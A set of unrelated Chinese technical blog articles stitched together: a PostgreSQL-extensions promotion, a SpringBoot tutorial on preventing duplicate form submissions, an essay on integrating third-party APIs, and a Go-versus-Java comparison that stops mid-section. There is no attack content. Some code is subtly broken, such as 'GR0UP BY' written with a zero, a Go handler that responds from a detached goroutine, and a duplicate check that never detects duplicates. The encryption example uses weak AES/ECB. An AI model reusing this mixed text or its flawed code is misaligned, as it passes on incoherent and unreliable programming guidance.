AI 时代的新一代扩展

这意味着什么：过去构建 RAG 应用需要 PostgreSQL + Pinecone + Elasticsearch + 胶水代码。

现在？只需 PostgreSQL。一个数据库，一种查询语言，一套备份方案，一条 Fork 命令即可让 AI 智能体搭建测试环境。

快速上手：启用这些扩展

只需执行以下命令：

-- 全文搜索（BM25）

CREATE EXTENSION pg_textsearch;



-- 向量检索（AI 场景）

CREATE EXTENSION vector;

CREATE EXTENSION vectorscale;



-- AI 嵌入与 RAG 工作流

CREATE EXTENSION ai;



-- 时序数据

CREATE EXTENSION timescaledb;



-- 消息队列

CREATE EXTENSION pgmq;



-- 定时任务

CREATE EXTENSION pg_cron;



-- 地理空间

CREATE EXTENSION postgis;

就是这么简单。

代码示例

以下是各场景的可运行示例，按需查阅。

全文搜索（替代 Elasticsearch）

扩展：pg_textsearch（真正的 BM25 排序）

替代对象：

• Elasticsearch：独立 JVM 集群、复杂映射、同步流水线、Java 堆调优


• Solr：类似问题，仅包装不同


• Algolia：$1/1000 次搜索，依赖外部 API

你将获得：与 Elasticsearch 完全相同的 BM25 算法，直接内置于 PostgreSQL。

-- 创建表

CREATE TABLE articles (

  id SERIAL PRIMARY KEY,

  title TEXT,

  content TEXT

);



-- 创建 BM25 索引

CREATE INDEX idx_articles_bm25 ON articles USING bm25(content)

  WITH (text_config = 'english');



-- 基于 BM25 评分搜索

SELECT title, -(content <@> 'database optimization') as score

FROM articles

ORDER BY content <@> 'database optimization'

LIMIT 10;

混合搜索：BM25 + 向量一体化查询

SELECT 

  title,

  -(content <@> 'database optimization') as bm25_score,

  embedding <=> query_embedding as vector_distance,

  0.7 * (-(content <@> 'database optimization')) + 

  0.3 * (1 - (embedding <=> query_embedding)) as hybrid_score

FROM articles

ORDER BY hybrid_score DESC

LIMIT 10;

Elasticsearch 需要额外插件才能实现的功能，在 PostgreSQL 中只需一条 SQL。

向量检索（替代 Pinecone）

扩展：pgvector + pgvectorscale

替代对象：

• Pinecone：$70/月起步，独立基础设施，数据同步头痛


• Qdrant, Milvus, Weaviate：更多需管理的基础设施

你将获得：pgvectorscale 采用微软研究院的 DiskANN 算法，在 99% 召回率下实现延迟降低 28 倍、吞吐量提升 16 倍。

-- 启用扩展

CREATE EXTENSION vector;

CREATE EXTENSION vectorscale CASCADE;



-- 含嵌入向量的表

CREATE TABLE documents (

  id SERIAL PRIMARY KEY,

  content TEXT,

  embedding vector(1536)

);



-- 高性能索引（DiskANN）

CREATE INDEX idx_docs_embedding ON documents USING diskann(embedding);



-- 查找相似文档

SELECT content, embedding <=> '[0.1, 0.2, ...]'::vector as distance

FROM documents

ORDER BY embedding <=> '[0.1, 0.2, ...]'::vector

LIMIT 10;

通过 pgai 自动同步嵌入向量：

SELECT ai.create_vectorizer(

  'documents'::regclass,

  loading => ai.loading_column(column_name=>'content'),

  embedding => ai.embedding_openai(model=>'text-embedding-3-small', dimensions=>'1536')

);

现在每次 INSERT/UPDATE 都会自动重新生成嵌入向量。无需同步作业，无数据漂移，告别凌晨三点的告警电话。

时序数据（替代 InfluxDB）

扩展：TimescaleDB（GitHub 2.1 万+ 星）

替代对象：

• InfluxDB：独立数据库、Flux 查询语言或非原生 SQL


• Prometheus：适用于指标，不适用于应用数据

你将获得：自动时间分区、最高 90% 压缩率、连续聚合，完整 SQL 支持。

-- 启用 TimescaleDB

CREATE EXTENSION timescaledb;



-- 创建表

CREATE TABLE metrics (

  time TIMESTAMPTZ NOT NULL,

  device_id TEXT,

  temperature DOUBLE PRECISION

);



-- 转换为超表

SELECT create_hypertable('metrics', 'time');



-- 按时间桶查询

SELECT time_bucket('1 hour', time) as hour,

       AVG(temperature)

FROM metrics

WHERE time > NOW() - INTERVAL '24 hours'

GR0UP BY hour;



-- 自动删除旧数据

SELECT add_retention_policy('metrics', INTERVAL '30 days');



-- 压缩（存储减少 90%）

ALTER TABLE metrics SET (timescaledb.compress);

SELECT add_compression_policy('metrics', INTERVAL '7 days');

缓存（替代 Redis）

特性：UNLOGGED 表 + JSONB

-- UNLOGGED = 无 WAL 开销，写入更快

CREATE UNLOGGED TABLE cache (

  key TEXT PRIMARY KEY,

  value JSONB,

  expires_at TIMESTAMPTZ

);



-- 设置带过期时间的缓存

INSERT INTO cache (key, value, expires_at)

VALUES ('user:123', '{"name": "Alice"}', NOW() + INTERVAL '1 hour')

ON CONFLICT (key) DO UPDATE SET value = EXCLUDED.value;



-- 读取

SELECT value FROM cache WHERE key = 'user:123' AND expires_at > NOW();



-- 清理（通过 pg_cron 定时）

DELETE FROM cache WHERE expires_at < NOW();

消息队列（替代 Kafka）

扩展：pgmq

CREATE EXTENSION pgmq;

SELECT pgmq.create('my_queue');



-- 发送消息

SELECT pgmq.send('my_queue', '{"event": "signup", "user_id": 123}');



-- 接收消息（带可见性超时）

SELECT * FROM pgmq.read('my_queue', 30, 5);



-- 处理完成后删除

SELECT pgmq.delete('my_queue', msg_id);

或使用原生 SKIP LOCKED 模式：

CREATE TABLE jobs (

  id SERIAL PRIMARY KEY,

  payload JSONB,

  status TEXT DEFAULT 'pending'

);



-- Worker 原子性认领任务

UPDATE jobs SET status = 'processing'

WHERE id = (

  SELECT id FROM jobs WHERE status = 'pending'

  FOR UPDATE SKIP LOCKED LIMIT 1

) RETURNING *;

文档存储（替代 MongoDB）

特性：原生 JSONB

CREATE TABLE users (

  id SERIAL PRIMARY KEY,

  data JSONB

);



-- 插入嵌套文档

INSERT INTO users (data) VALUES ('{

  "name": "Alice",

  "profile": {"bio": "Developer", "links": ["github.com/alice"]}

}');



-- 查询嵌套字段

SELECT data->>'name', data->'profile'->>'bio'

FROM users

WHERE data->'profile'->>'bio' LIKE '%Developer%';



-- 为 JSON 字段创建索引

CREATE INDEX idx_users_email ON users ((data->>'email'));

地理空间（替代专用 GIS）

扩展：PostGIS

CREATE EXTENSION postgis;



CREATE TABLE stores (

  id SERIAL PRIMARY KEY,

  name TEXT,

  location GEOGRAPHY(POINT, 4326)

);



-- 查找 5 公里内的门店

SELECT name, ST_Distance(location, ST_MakePoint(-122.4, 37.78)::geography) as meters

FROM stores

WHERE ST_DWithin(location, ST_MakePoint(-122.4, 37.78)::geography, 5000);

定时任务（替代 Cron）

扩展：pg_cron

CREATE EXTENSION pg_cron;



-- 每小时执行

SELECT cron.schedule('cleanup', '0 * * * *', 

  $$DELETE FROM cache WHERE expires_at < NOW()$$);



-- 每日凌晨 2 点汇总

SELECT cron.schedule('rollup', '0 2 * * *',

  $$REFRESH MATERIALIZED VIEW CONCURRENTLY daily_stats$$);

核心结论

回到“家”的比喻：你不会为做晚饭单独盖餐厅，也不会为停车在城外建车库。你会使用家中已有的房间。

这正是我们在此展示的：搜索、向量、时序、文档、队列、缓存……它们都是 PostgreSQL 这座“家”中的不同房间。使用与专用数据库相同的算法，历经多年实战检验，被 Netflix、Uber、Discord 及 48,000 多家公司采用。

那么那 1% 的例外呢？

99% 的公司，PostgreSQL 足以应对所有需求。那 1%？当你需要跨数百节点处理 PB 级日志，或必须使用 Kibana 特定仪表盘，或拥有 PostgreSQL 确实无法满足的特殊需求时。

但关键在于：当你属于那 1% 时，你自己会知道。你不需要厂商营销团队告诉你，你会通过基准测试亲自撞上真正的性能墙。

在此之前，不要因为“为不同任务选用合适工具”这句话，就把数据分散到七栋大楼中。那句建议卖出了数据库，却没为你服务。

从 PostgreSQL 开始，坚持使用 PostgreSQL。仅在真正需要时才增加复杂性。

2026 年了，直接用 PostgreSQL 吧。

立即开始

所有这些扩展在 Tiger Data 上均可使用。几分钟内创建免费数据库：

psql "postgresql://user:pass@your-instance.tsdb.cloud.timescale.com:5432/tsdb"

CREATE EXTENSION pg_textsearch;  -- BM25 搜索

CREATE EXTENSION vector;         -- 向量检索

无需专用数据库，只需 PostgreSQL。

延伸阅读

• pg_textsearch 文档


• pgvector GitHub


• pgvectorscale 文档


• TimescaleDB 文档


• pgmq 消息队列


• PostGIS 地理空间

大家好，我是小悟。

一、什么是接口防抖？（又名：救救那个手抖的程序员）

想象一下这个场景：用户小张在提交订单时，因为网络延迟，他以为没点中那个“提交”按钮，于是疯狂连击了10次！结果...10个一模一样的订单诞生了！

接口防抖 就像是给按钮加上了一层“冷静期”——“兄弟，你点太快了，先冷静3秒再说！”

防止重复提交 则是更严格的保安大哥——“同样的身-份-证（请求）只能进一次，想蒙混过关？没门！”

下面我来教你在SpringBoot中布下天罗地网，拦截这些“手抖攻击”！

二、实战方案大集合

方案1：前端防抖 + 后端令牌锁（双保险）

前端防抖代码（JavaScript版）：

// 给按钮加个“冷静debuff”

let isSubmitting = false;



function submitOrder() {

    if (isSubmitting) {

        alert("客官您点得太快了，喝口茶歇歇~");

        return;

    }

    

    isSubmitting = true;

    // 提交请求...

    

    // 3秒后才能再次点击

    setTimeout(() => {

        isSubmitting = false;

    }, 3000);

}

后端令牌锁实现：

步骤1：创建防抖注解

@Target(ElementType.METHOD)

@Retention(RetentionPolicy.RUNTIME)

public @interface PreventDuplicateSubmit {

    /**

     * 防抖时间（秒），默认3秒

     */

    int lockTime() default 3;

    

    /**

     * 锁的key，支持SpEL表达式

     */

    String key() default "";

    

    /**

     * 提示信息

     */

    String message() default "请勿重复提交";

}

步骤2：实现AOP切面

@Aspect

@Component

@Slf4j

public class DuplicateSubmitAspect {

    

    @Autowired

    private RedisTemplate<String, Object> redisTemplate;

    

    @Autowired

    private HttpServletRequest request;

    

    @Pointcut("@annotation(preventDuplicateSubmit)")

    public void pointcut(PreventDuplicateSubmit preventDuplicateSubmit) {

    }

    

    @Around("pointcut(preventDuplicateSubmit)")

    public Object around(ProceedingJoinPoint joinPoint, 

                        PreventDuplicateSubmit preventDuplicateSubmit) throws Throwable {

        

        // 1. 构造锁的key

        String lockKey = buildLockKey(joinPoint, preventDuplicateSubmit);

        

        // 2. 尝试加锁（setnx操作）

        Boolean success = redisTemplate.opsForValue()

                .setIfAbsent(lockKey, "LOCKED", 

                           preventDuplicateSubmit.lockTime(), TimeUnit.SECONDS);

        

        if (Boolean.TRUE.equals(success)) {

            // 加锁成功，执行方法

            try {

                return joinPoint.proceed();

            } finally {

                // 可以根据业务决定是否立即删除锁

                // redisTemplate.delete(lockKey);

            }

        } else {

            // 加锁失败，说明重复提交了

            throw new RuntimeException(preventDuplicateSubmit.message());

        }

    }

    

    private String buildLockKey(ProceedingJoinPoint joinPoint, 

                               PreventDuplicateSubmit annotation) {

        StringBuilder keyBuilder = new StringBuilder("SUBMIT:LOCK:");

        

        // 如果有自定义key

        if (StringUtils.isNotBlank(annotation.key())) {

            keyBuilder.append(parseKey(joinPoint, annotation.key()));

        } else {

            // 默认使用：方法名 + 用户ID + 参数hash

            keyBuilder.append(joinPoint.getSignature().toShortString());

            

            // 加上用户ID（如果有登录）

            String userId = getCurrentUserId();

            if (userId != null) {

                keyBuilder.append(":").append(userId);

            }

            

            // 加上参数摘要

            Object[] args = joinPoint.getArgs();

            if (args.length > 0) {

                String argsHash = DigestUtils.md5DigestAsHex(

                    Arrays.deepToString(args).getBytes()

                ).substring(0, 8);

                keyBuilder.append(":").append(argsHash);

            }

        }

        

        return keyBuilder.toString();

    }

    

    private String getCurrentUserId() {

        // 从Token或Session中获取用户ID

        // 这里简化处理

        return (String) request.getSession().getAttribute("userId");

    }

}

步骤3：使用示例

@RestController

@RequestMapping("/order")

public class OrderController {

    

    @PostMapping("/create")

    @PreventDuplicateSubmit(lockTime = 5, message = "订单正在处理中，请勿重复提交")

    public ApiResult createOrder(@RequestBody OrderDTO orderDTO) {

        // 业务逻辑

        orderService.create(orderDTO);

        return ApiResult.success("下单成功");

    }

    

    @PostMapping("/pay")

    @PreventDuplicateSubmit(

        key = "'PAY:' + #orderNo + ':' + T(com.example.util.UserUtil).getCurrentUserId()",

        lockTime = 10,

        message = "支付请求已提交，请勿重复操作"

    )

    public ApiResult payOrder(String orderNo) {

        // 支付逻辑

        return ApiResult.success("支付成功");

    }

}

方案2：数据库唯一约束（最硬核的方案）

有时候，最简单的最有效！

@Entity

@Table(name = "orders")

public class Order {

    @Id

    @GeneratedValue(strategy = GenerationType.IDENTITY)

    private Long id;

    

    // 业务唯一号：时间戳 + 用户ID + 随机数

    @Column(name = "order_no", unique = true, nullable = false)

    private String orderNo;

    

    // 或者使用请求ID作为防重

    @Column(name = "request_id", unique = true)

    private String requestId;

    

    // ...其他字段

}



@Service

@Slf4j

public class OrderService {

    

    @Transactional(rollbackFor = Exception.class)

    public void createOrder(OrderDTO dto) {

        // 生成唯一请求ID（前端传递或后端生成）

        String requestId = dto.getRequestId();

        if (StringUtils.isBlank(requestId)) {

            requestId = UUID.randomUUID().toString();

        }

        

        // 检查是否已处理过该请求

        if (orderRepository.existsByRequestId(requestId)) {

            log.warn("重复请求被拦截：{}", requestId);

            throw new BusinessException("订单已提交，请勿重复操作");

        }

        

        // 创建订单

        Order order = new Order();

        order.setRequestId(requestId);

        order.setOrderNo(generateOrderNo());

        // ...设置其他字段

        

        try {

            orderRepository.save(order);

        } catch (DataIntegrityViolationException e) {

            // 捕获唯一约束异常

            throw new BusinessException("订单已存在，请勿重复提交");

        }

    }

}

方案3：本地Guava缓存（轻量级方案）

适合单机部署，简单快捷！

@Component

public class LocalDuplicateChecker {

    

    // Guava缓存，3秒自动过期

    private final Cache<String, Boolean> submitCache = CacheBuilder.newBuilder()

            .expireAfterWrite(3, TimeUnit.SECONDS)

            .maximumSize(10000)

            .build();

    

    /**

     * 检查是否重复提交

     * @param key 请求唯一标识

     * @return true=重复提交, false=首次提交

     */

    public boolean isDuplicate(String key) {

        try {

            // 如果key不存在，则放入缓存并返回null

            // 如果key存在，则返回缓存的值

            return submitCache.get(key, () -> {

                // 这个lambda只在key不存在时执行

                return false;

            });

        } catch (ExecutionException e) {

            return true;

        }

    }

    

    /**

     * 手动放入缓存（用于防止并发时多次通过检查）

     */

    public void markAsSubmitted(String key) {

        submitCache.put(key, true);

    }

}



// 使用方式

@RestController

public class ApiController {

    

    @Autowired

    private LocalDuplicateChecker duplicateChecker;

    

    @PostMapping("/api/submit")

    public ApiResult submitData(@RequestBody SubmitData data, 

                               HttpServletRequest request) {

        

        // 构造唯一key：IP + 用户ID + 数据摘要

        String clientIp = request.getRemoteAddr();

        String userId = getCurrentUserId();

        String dataHash = DigestUtils.md5DigestAsHex(

            JSON.toJSONString(data).getBytes()

        ).substring(0, 8);

        

        String lockKey = String.format("SUBMIT:%s:%s:%s", 

                                      clientIp, userId, dataHash);

        

        if (duplicateChecker.isDuplicate(lockKey)) {

            return ApiResult.error("请勿重复提交");

        }

        

        // 标记为已提交

        duplicateChecker.markAsSubmitted(lockKey);

        

        // 执行业务逻辑

        return processData(data);

    }

}

方案4：Token令牌机制（最经典的方案）

这个方案就像发门票，一张票只能进一个人！

步骤1：生成Token

@RestController

public class TokenController {

    

    @GetMapping("/api/getToken")

    public ApiResult getToken() {

        String token = UUID.randomUUID().toString();

        

        // 存入Redis，有效期5分钟

        redisTemplate.opsForValue().set(

            "SUBMIT_TOKEN:" + token, 

            "VALID", 

            5, TimeUnit.MINUTES

        );

        

        return ApiResult.success(token);

    }

}

步骤2：验证Token

@Aspect

@Component

public class TokenCheckAspect {

    

    @Pointcut("@annotation(needTokenCheck)")

    public void pointcut(NeedTokenCheck needTokenCheck) {

    }

    

    @Around("pointcut(needTokenCheck)")

    public Object checkToken(ProceedingJoinPoint joinPoint, 

                            NeedTokenCheck needTokenCheck) throws Throwable {

        

        HttpServletRequest request = ((ServletRequestAttributes) 

            RequestContextHolder.getRequestAttributes()).getRequest();

        

        String token = request.getHeader("X-Submit-Token");

        if (StringUtils.isBlank(token)) {

            throw new RuntimeException("提交令牌缺失");

        }

        

        String redisKey = "SUBMIT_TOKEN:" + token;

        String value = (String) redisTemplate.opsForValue().get(redisKey);

        

        if (!"VALID".equals(value)) {

            throw new RuntimeException("无效的提交令牌");

        }

        

        // 删除令牌（一次性使用）

        redisTemplate.delete(redisKey);

        

        return joinPoint.proceed();

    }

}

步骤3：前端配合

// 提交前先获取令牌

async function submitWithToken(data) {

    // 1. 获取令牌

    const token = await fetch('/api/getToken').then(r => r.json());

    

    // 2. 携带令牌提交

    const result = await fetch('/api/submit', {

        method: 'POST',

        headers: {

            'Content-Type': 'application/json',

            'X-Submit-Token': token

        },

        body: JSON.stringify(data)

    });

    

    return result;

}

三、方案对比总结

四、防抖策略选择指南

五、最后

防抖的目的不是为难用户，而是保护系统和数据的安全。就像给你的接口穿上防弹衣，既能抵挡"手抖攻击"，又能让正常请求畅通无阻！

程序员防抖口诀：

前端防抖先出手，后端加锁不能少。

令牌机制来帮忙，唯一约束最可靠。

根据场景选方案，系统稳定没烦恼。

用户手抖不可怕，我有妙招来护驾！

谢谢你看我的文章，既然看到这里了，如果觉得不错，随手点个赞、转发、在看三连吧，感谢感谢。那我们，下次再见。

您的一键三连，是我更新的最大动力，谢谢

山水有相逢，来日皆可期，谢谢阅读，我们再会

我手中的金箍棒，上能通天，下能探海

很多 Java 程序员一听到“对接第三方接口”，脑子里就自动响起一句话： “这不就是调个接口嘛，没技术含量。”

但真相是：你以为是体力活的地方，往往最能看出一个工程师的“技术深度”。

那些把接口对接写成“定时炸弹”的代码，和能扛住三年高并发零故障的实现，差的从来不是会不会发 HTTP 请求。

一、真正的高手，不是“调通接口”，而是“设计边界”

对接第三方接口，看似只是发个请求、拿个 JSON，但背后其实是——系统边界的协作与防御设计。

你面对的不是自己可控的代码，而是一个随时可能“变脸”的外部世界：

• 对方文档写着“此字段必传”，实际却返回 null


• 测试环境响应毫秒级，生产环境突然超时 30 秒


• 接口突然升级，字段名从 camelCase 改成 snake_case


• 流量峰值时，对方悄悄给你限流却不通知

所以高手不会只想着“调通”，而是从第一天就思考：

• 超时如何设置才不会拖垮自己的线程池？


• 对方返回非预期格式时，如何避免解析崩溃？


• 调用失败后，重试几次、间隔多久才合理？


• 敏感参数如何加密才能通过安全审计？


• 接口突然变慢时，如何第一时间收到告警？

这些问题，不是“Bug”，而是“工程意识”的试金石。能把混乱的接口接得稳定、可控、可追踪、可安全，这才是真正的技术能力。

二、“对接接口”也能写出架构感

普通开发者的代码，往往是这样的：

// 业务代码里突然冒出一段HTTP调用

RestTemplate restTemplate = new RestTemplate();

HttpHeaders headers = new HttpHeaders();

headers.set("appKey", "xxx");

headers.set("sign", "xxx");

HttpEntity<Map> entity = new HttpEntity<>(reqMap, headers);

ResponseEntity<String> res = restTemplate.postForEntity(

    "https://xxx.com/api/pay", entity, String.class);

// 然后直接解析字符串...

而高手的代码，会先画一条清晰的边界：

// 1. 定义领域接口，屏蔽HTTP细节

public interface PaymentGatewayClient {

    PaymentResponse pay(PaymentRequest request);

}



// 2. 实现类专注处理接口对接逻辑

@Service

public class AlipayGatewayClient implements PaymentGatewayClient {

    @Override

    public PaymentResponse pay(PaymentRequest request) {

        // 封装：签名生成、参数转换、超时控制

        // 集成：重试机制、日志埋点、异常转换

        // 隔离：与业务逻辑彻底分离

    }

}

业务层调用时，只需要关心业务语义，不关心HTTP细节。

这样做的好处立竿见影：

• • 换第三方支付时，只需新增实现类，业务代码零改动


• • 单元测试时，用 Mock 替代真实接口，测试速度提升 10 倍


• • 接口逻辑集中管理，不会散落在几百个业务方法里

当你能做到“接口逻辑不散落在业务代码里”，系统就已经迈入“架构级整洁”的门槛。

三、调通很容易，稳定才是实力

调通接口是初级开发者的 KPI。让接口一年 365 天稳稳跑着，那才是高级工程师的成就。

这些场景你一定踩过坑：

• • 对方接口“偶尔超时”，导致自己的系统线程池被占满


• • 并发一上来，就收到“Too Many Requests”限流提示


• • 响应 JSON 里突然多了个逗号，Jackson 解析直接抛异常


• • 异步回调乱序，先收到“支付成功”，再收到“支付中”


• • 敏感参数明文传输，被安全扫描揪出高危漏洞


• • 接口响应变慢，用户投诉后才发现

而高手的解决方案，藏在这些细节里：

1. 超时与重试：用“退避策略”减少无效请求

// 用 Resilience4j 实现指数退避重试

RetryConfig config = RetryConfig.custom()

    .maxAttempts(3) // 最多重试3次

    .waitDuration(Duration.ofMillis(1000)) // 首次间隔1秒

    .retryExceptions(TimeoutException.class, IOException.class)

    .ignoreExceptions(IllegalArgumentException.class) // 非法参数不重试

    .build();



Retry retry = Retry.of("paymentApi", config);

// 包装调用逻辑

Supplier<PaymentResponse> retryableSupplier = Retry.decorateSupplier(

    retry, () -> doCallPaymentApi(request)

);

2. 熔断降级：防止对方故障拖垮自己

// 当失败率超过50%，触发熔断

CircuitBreakerConfig config = CircuitBreakerConfig.custom()

    .failureRateThreshold(50)

    .waitDurationInOpenState(Duration.ofSeconds(60)) // 熔断60秒

    .permittedNumberOfCallsInHalfOpenState(5) // 半开状态允许5次试探

    .build();



CircuitBreaker circuitBreaker = CircuitBreaker.of("paymentApi", config);

// 降级逻辑：返回缓存数据或默认提示

Supplier<PaymentResponse> decoratedSupplier = CircuitBreaker

    .decorateSupplier(circuitBreaker, () -> doCallPaymentApi(request))

    .orElseGet(() -> buildFallbackResponse(request));

3. 日志追踪：用 TraceId 串联完整调用链

// 拦截器自动生成并传递TraceId

public class TraceIdInterceptor implements ClientHttpRequestInterceptor {

    @Override

    public ClientHttpResponse intercept(

            HttpRequest request, byte[] body, ClientHttpRequestExecution execution) {

        String traceId = MDC.get("traceId");

        if (traceId == null) {

            traceId = UUID.randomUUID().toString();

            MDC.put("traceId", traceId);

        }

        request.getHeaders().add("X-Trace-Id", traceId);

        return execution.execute(request, body);

    }

}



// 日志格式包含TraceId，方便排查问题

// logback.xml 配置：%X{traceId} [%thread] %-5level %logger{36} - %msg%n

4. 安全签名：给数据加把“锁”

接口传输的敏感信息（如手机号、银彳亍卡号）必须经过双重防护：

// 1. 参数签名：防止数据被篡改

public class SignUtils {

    public static String sign(Map<String, String> params, String secret) {

        // 按参数名ASCII排序

        List<String> keys = new ArrayList<>(params.keySet());

        Collections.sort(keys);

        // 拼接为key=value&key=value形式

        StringBuilder sb = new StringBuilder();

        for (String key : keys) {

            sb.append(key).append("=").append(params.get(key)).append("&");

        }

        // 追加密钥后用SHA256加密

        sb.append("secret=").append(secret);

        return DigestUtils.sha256Hex(sb.toString());

    }

}



// 2. 敏感字段加密：防止传输中泄露

public class EncryptUtils {

    // 手机号加密示例（AES算法）

    public static String encryptPhone(String phone, String aesKey) {

        // 实际项目中建议使用密钥管理服务存储密钥

        SecretKeySpec key = new SecretKeySpec(aesKey.getBytes(), "AES");

        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");

        cipher.init(Cipher.ENCRYPT_MODE, key);

        return Base64.getEncoder().encodeToString(cipher.doFinal(phone.getBytes()));

    }

}

5. 实时监控：让接口状态“可视化”

高手不会等到用户投诉才发现问题，而是用监控提前预警：

// 1. 自定义指标收集（基于Micrometer）

@Component

public class ApiMetricsCollector {

    private final MeterRegistry meterRegistry;

    

    public void recordApiCall(String apiName, long durationMs, boolean success) {

        // 记录接口耗时分布

        Timer.builder("thirdparty.api.duration")

            .tag("api", apiName)

            .tag("success", String.valueOf(success))

            .register(meterRegistry)

            .record(durationMs, TimeUnit.MILLISECONDS);

        

        // 记录失败次数

        if (!success) {

            Counter.builder("thirdparty.api.failure")

                .tag("api", apiName)

                .register(meterRegistry)

                .increment();

        }

    }

}



// 2. 配置监控告警（Prometheus + Grafana）

// 告警规则示例：当5分钟内失败率超过10%时触发告警

// - alert: ApiHighFailureRate

//   expr: sum(rate(thirdparty.api.failure[5m])) / sum(rate(thirdparty.api.duration_count[5m])) > 0.1

//   for: 1m

//   labels:

//     severity: critical

//   annotations:

//     summary: "接口失败率过高"

//     description: "{{ $labels.api }} 接口5分钟失败率超过10%"

一个优秀的接口对接系统，其实就是一个可观测、可预警、可恢复、可信任的微系统。

四、写给未来的自己看

很多人调完接口就走，连注释都没有。三个月后接手的人只能默默骂一句：“这谁写的鬼东西？对方文档改了哪？这个签名算法是啥意思？”

高手懂得写“能看懂的代码”，体现在这些地方：

• • 接口模型用类而非 Map：PaymentRequest 类比 Map<String, Object> 更清晰，字段注释直接写在类里


• • 错误码枚举化：PaymentErrorCode.ORDER_NOT_EXIST 比魔法值 10001 更容易维护


• • 文档内聚：在实现类里用 @see 链接对方文档地址，关键逻辑加注释说明为什么这么做


• • Mock 测试就绪：提供 MockPaymentGatewayClient，方便本地调试和单元测试

对接接口的过程，其实是你在写给未来的自己看。维护体验的好坏，体现的是你的工程素养。

五、你以为的“体力活”，其实是“架构的入门课”

对接第三方接口，本质上是一次系统边界设计的演练。

当你学会：

• 用“依赖倒置”隔离外部变化


• 用“防御性编程”处理异常情况


• 用“签名加密”保障数据安全


• 用“可观测性”确保问题可追溯


• 用“熔断降级”保障系统韧性

你就已经掌握了架构设计的核心思维。

毕竟，真实世界的系统从来不是孤立的。能把一个“不稳定的外部系统”接入得像内部服务一样稳定、可靠、优雅，那一刻，你不再是“接口调用员”，而是一个在用工程思维解决问题的架构师。

最后想说一句

下次当有人跟你说：“就调个接口嘛，这有啥难的？”。你可以微微一笑： “我不只是调接口，我在构建系统的边界。”

记住一句话：  “能调通的叫能力，能跑稳的才叫实力。”

如果觉得有启发，不妨关注下我的公众号《码上实战》。

Go 语言未来会取代 Java 吗？

（八年 Java 开发的深度拆解：从业务场景到技术底层）

开篇：面试官的灵魂拷问与行业焦虑

前年面某大厂时，技术负责人突然抛出问题：“如果让你重构公司核心系统，会选 Go 还是 Java？”

作为写了八年 Java 的老开发，我本能地想强调 Spring 生态和企业级成熟度，但对方随即展示的 PPT 让我冷汗直冒 —— 某金融公司用 Go 重构交易系统后，QPS 从 5 万飙升到 50 万，服务器成本降低 70%。这让我陷入沉思：当云原生和 AI 浪潮来袭，Java 真的要被 Go 取代了吗？

今天从 业务场景、技术本质、行业趋势 三个维度，结合实战代码和踩坑经验，聊聊我的真实看法。

一、业务场景对比：Go 的 “闪电战” vs Java 的 “持久战”

先看三个典型业务场景，你会发现两者的差异远不止 “性能” 二字。

场景 1：高并发抢购（电商大促）

Go 实现（Gin 框架） ：

func main() {

    router := gin.Default()

    router.GET("/seckill", func(c *gin.Context) {

        // 轻量级goroutine处理请求

        go func() {

            // 直接操作Redis库存

            if err := redisClient.Decr("stock").Err(); err != nil {

                c.JSON(http.StatusOK, gin.H{"result": "fail"})

                return

            }

            c.JSON(http.StatusOK, gin.H{"result": "success"})

        }()

    })

    router.Run(":8080")

}

性能数据：单机轻松支撑 10 万 QPS，p99 延迟 < 5ms。

Java 实现（Spring Boot + 虚拟线程） ：

@RestController

public class SeckillController {

    @GetMapping("/seckill")

    public CompletableFuture<ResponseEntity<String>> seckill() {

        return CompletableFuture.supplyAsync(() -> {

            // 虚拟线程处理IO操作

            if (redisTemplate.opsForValue().decrement("stock") < 0) {

                return ResponseEntity.ok("fail");

            }

            return ResponseEntity.ok("success");

        }, Executors.newVirtualThreadPerTaskExecutor());

    }

}

性能数据：Java 21 虚拟线程让 IO 密集型场景吞吐量提升 7 倍，p99 延迟从 165ms 降至 23ms。

核心差异：

• Go：天生适合高并发，Goroutine 调度和原生 Redis 操作无额外开销。


• Java：依赖 JVM 调优，虚拟线程虽大幅提升性能，但需配合线程池和异步框架。

场景 2：智能运维平台（云原生领域）

Go 实现（Ollama + gRPC） ：

func main() {

    // 启动gRPC服务处理AI推理请求

    server := grpc.NewServer()

    pb.RegisterAIAnalysisServer(server, &AIHandler{})

    go func() {

        if err := server.Serve(lis); err != nil {

            log.Fatalf("Server exited with error: %v", err)

        }

    }()

    

    // 采集节点数据（百万级设备）

    for i := 0; i < 1000000; i++ {

        go func(nodeID int) {

            for {

                data := collectMetrics(nodeID)

                client.Send(data) // 通过channel传递数据

            }

        }(i)

    }

}

优势：轻量级 Goroutine 高效处理设备数据采集，gRPC 接口响应速度比 REST 快 30%。

Java 实现（Spring Cloud + Kafka） ：

@Service

public class MonitorService {

    @Autowired

    private KafkaTemplate<String, String> kafkaTemplate;



    public void collectMetrics(int nodeID) {

        ScheduledExecutorService executor = Executors.newScheduledThreadPool(100);

        executor.scheduleAtFixedRate(() -> {

            String data =采集数据(nodeID);

            kafkaTemplate.send("metrics-topic", data);

        }, 0, 1, TimeUnit.SECONDS);

    }

}

挑战：传统线程池在百万级设备下内存占用飙升，需配合 Kafka 分区和 Consumer Gr0up 优化。

核心差异：

• Go：云原生基因，从采集到 AI 推理全链路高效协同。


• Java：生态依赖强，需整合 Spring Cloud、Kafka 等组件，部署复杂度高。

场景 3：企业 ERP 系统（传统行业）

Java 实现（Spring + Hibernate） ：

@Entity

@Table(name = "orders")

public class Order {

    @Id

    @GeneratedValue(strategy = GenerationType.IDENTITY)

    private Long id;



    @ManyToOne

    @JoinColumn(name = "user_id")

    private User user;



    // 复杂业务逻辑注解

    @PrePersist

    public void validateOrder() {

        if (totalAmount < 0) {

            throw new BusinessException("金额不能为负数");

        }

    }

}

优势：Spring 的事务管理和 Hibernate 的 ORM 完美支持复杂业务逻辑，代码可读性高。

Go 实现（GORM + 接口组合） ：

type Order struct {

    ID        uint   `gorm:"primaryKey"`

    UserID    uint

    Total     float64

}



func (o *Order) Validate() error {

    if o.Total < 0 {

        return errors.New("金额不能为负数")

    }

    return nil

}



func CreateOrder(ctx context.Context, order Order) error {

    if err := order.Validate(); err != nil {

        return err

    }

    return db.Create(&order).Error

}

挑战：需手动实现事务和复杂校验逻辑，代码量比 Java 多 20%。

核心差异：

• Java：企业级成熟度，框架直接支持事务、权限、审计等功能。


• Go：灵活性高，但需手动实现大量基础功能，适合轻量级业务。

二、技术本质：为什么 Go 在某些场景碾压 Java？

从 并发模型、内存管理、性能调优 三个维度，深挖两者的底层差异。

1. 并发模型：Goroutine vs 线程 / 虚拟线程

Go 的 Goroutine：

• 轻量级：每个 Goroutine 仅需 2KB 栈空间，可轻松创建百万级并发。


